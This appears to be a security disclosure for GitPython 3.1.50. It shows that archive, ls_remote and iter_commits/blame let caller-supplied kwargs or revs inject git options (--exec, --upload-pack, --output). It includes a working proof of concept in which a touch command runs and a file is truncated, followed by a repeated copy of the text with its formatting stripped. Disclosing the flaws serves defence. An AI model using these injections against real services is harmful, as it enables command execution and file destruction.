Hello,
GitPython already knows --upload-pack / --exec are command-exec vectors, they're denylisted in git/remote.py:535 and checked by Git.check_unsafe_options() (git/cmd.py:963). Problem: that check is only called from fetch, pull, push and clone_from. Everything else building a git argv from caller values just goes through. Three examples:
Repo.archive (git/repo/base.py:1623) does self.git.archive("--", treeish, *path, **kwargs). treeish is after --, fine, but kwargs get dashified by transform_kwarg (git/cmd.py:1487) and land before it. So {"remote": ".", "exec": "<cmd>"} gives git archive --remote=. --exec=<cmd> -- <rev>. --remote spawns the upload-archive helper, --exec picks which binary that is. Boom, default git config, no protocol.ext.allow needed. And archive already documents caller kwargs (format, prefix, path), passing a dict through is normal usage.
repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result. This is exactly the kwarg gap CVE-2026-42215 closed for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface never got the fix.
Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put rev before the --, no leading-dash check. A "branch name" like --output=/etc/whatever becomes git rev-list --output=... --, and git opens+truncates that file before it even validates the revision. File's gone even though the command errors out right after.
PoC
Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).
pip install GitPython # 3.1.50
Common setup for the three:
import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
1. exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
2. exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
3. file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
Hello,
GitPython already knows
--upload-pack/--execare command-exec vectors, they're denylisted ingit/remote.py:535and checked byGit.check_unsafe_options()(git/cmd.py:963). Problem: that check is only called from fetch, pull, push andclone_from. Everything else building a git argv from caller values just goes through. Three examples:Repo.archive(git/repo/base.py:1623) doesself.git.archive("--", treeish, *path, **kwargs).treeishis after--, fine, but kwargs get dashified bytransform_kwarg(git/cmd.py:1487) and land before it. So{"remote": ".", "exec": "<cmd>"}givesgit archive --remote=. --exec=<cmd> -- <rev>.--remotespawns the upload-archive helper,--execpicks which binary that is. Boom, default git config, noprotocol.ext.allowneeded. And archive already documents caller kwargs (format,prefix,path), passing a dict through is normal usage.repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result. This is exactly the kwarg gap CVE-2026-42215 closed for fetch/pull/push/clone_from, except the dynamicrepo.git.<anything>(**user_dict)surface never got the fix.Repo.iter_commits/Repo.blame(git/objects/commit.py:348,git/repo/base.py:1199) putrevbefore the--, no leading-dash check. A "branch name" like--output=/etc/whateverbecomesgit rev-list --output=... --, and git opens+truncates that file before it even validates the revision. File's gone even though the command errors out right after.PoC
Released 3.1.50, git 2.51.0, stock config (
git config --get protocol.ext.allowreturns nothing here).Common setup for the three:
1. exec via archive (a service exports a repo and forwards the user's options dict):
2. exec via ls_remote:
3. file clobber via a rev that looks like a ref: